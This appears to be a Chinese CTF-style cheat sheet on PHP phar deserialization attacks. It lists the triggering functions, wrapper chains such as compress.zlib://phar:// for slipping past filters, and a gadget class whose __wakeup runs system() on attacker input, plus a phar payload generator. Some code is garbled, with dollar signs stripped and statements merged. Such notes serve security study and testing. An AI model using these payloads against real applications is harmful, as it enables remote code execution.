Phar的绕过
[TOC]
受害函数
fileatime
/filectime
/filemtime
stat
/fileinode
/fileowner
/filegroup
/fileperms
file
/file_get_contents
/readfile
/fopen
`file_exists
/is_dir
/is_executable
/is_file
/is_link
/is_readable
/is_writeable
/is_writable
parse_ini_file
unlink
copy
exif | gd | hash | file/url | standard |
---|---|---|---|---|
exif_thumbnail | imageloadfont | hash_hmac_filehash_filehash_update_file | get_meta_tags | getimagesize |
exif_imagetype | imagecreatefrom***系列函数 | md5_filesha1_file | get_headers | getimagesizefromstring |
zip函数
代码语言:javascript复制$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test.txt');
数据库函数
代码语言:javascript复制Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。
Postgres
代码语言:javascript复制<?php
pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
//pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能
Mysql
代码语言:javascript复制//LOAD DATA LOCAL INFILE触发phar
//先配置mysqld
//[mysqld]
//local-infile=1
//secure_file_priv=""
<?php
class A {
public s = '';
public function __wakeup () {
system(this->s);
}
}
m = mysqli_init();
mysqli_options(m, MYSQLI_OPT_LOCAL_INFILE, true);
s = mysqli_real_connect(m, 'localhost', 'root', 'root', 'mysql', 3306);
//LOAD DATA LOCAL INFILE
p = mysqli_query(m, 'LOAD DATA LOCAL INFILE 'phar://test.phar/test' INTO TABLE a LINES TERMINATED BY 'rn' IGNORE 1 LINES;');
phar文件压缩
phar://(文件生成前设置好) | compress.bzip(zlib) |
---|---|
.tar.gz | compress.bzip://phar://./test.phar/test.txt |
.tar | compress.bzip2://phar://… |
.gz | compress.zlib://phar://… |
.bz2 | compress.bzip2://phar://… |
php默认不开启bzip2(bz2)支持,需要在php.ini 867行(可能有差)将extension=php_bz2.dll的注释取消
否则会报Unable to find the wrapper "compress.bzip2"
并且在php.ini 725行(可能有差)将extension_dir修改为自己的ext路径(我的是extension_dir = "D:/DevelopTools/php-7.0.0/ext",然后记得要用斜杠而不是反斜杠)
否则会报PHP Startup: Unable to load dynamic library(好像ext不设置的话默认路径是C:/php/ext(windows))
phar =phar->convertToExecutable(Phar::TAR, Phar::GZ);
compress.bzip://phar://...
compress.bzip2://phar://...
compress.zlib2://phar://...
compress.zlib://phar://...
php://filter/resource=phar://....
php://filter/read=convert.base64-encode/resource=phar://phar.phar
php://filter/read=convert.base64-encode/resource=phar://phar.phar
大佬的总结:
代码语言:javascript复制.tar
phar =phar->convertToExecutable(Phar::TAR)
phar://phar.phar.tar
compress.zlib://phar://phar.phar.tar
compress.bzip2://phar://phar.phar.tar
ps: 直接使用tar并不能消去<?php __HALT_COMPILER(); ?>
.tar.gz
phar =phar->convertToExecutable(Phar::TAR,Phar::GZ)
phar://phar.phar.tar.gz
compress.zlib://phar://phar.phar.tar.gz
compress.bzip2://phar://phar.phar.tar.gz
.tar.bz2
phar =phar->convertToExecutable(Phar::TAR,Phar::BZ2)
phar://phar.phar.tar.bz2
compress.zlib://phar://phar.phar.tar.bz2
compress.bzip2://phar://phar.phar.tar.bz2
.zip
Phar::SHA256
phar =phar->convertToExecutable(Phar::ZIP,)
phar://phar.phar.zip
compress.zlib://phar://phar.phar.zip
compress.bzip2://phar://phar.phar.zip
代码语言:javascript复制<?php
class test{
public name='phpinfo();';
}phar=new phar('test.phar');//后缀名必须为phar
phar->startBuffering();phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
obj=new test();phar->setMetadata(obj);//自定义的meta-data存入manifestphar->addFromString("flag.txt","flag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
一些其它协议流
php中一些常见流包装器:
代码语言:javascript复制file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
php://input
可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。
而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype=”multipart/form-data” 的时候 php://input 是无效的。
php://output
是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。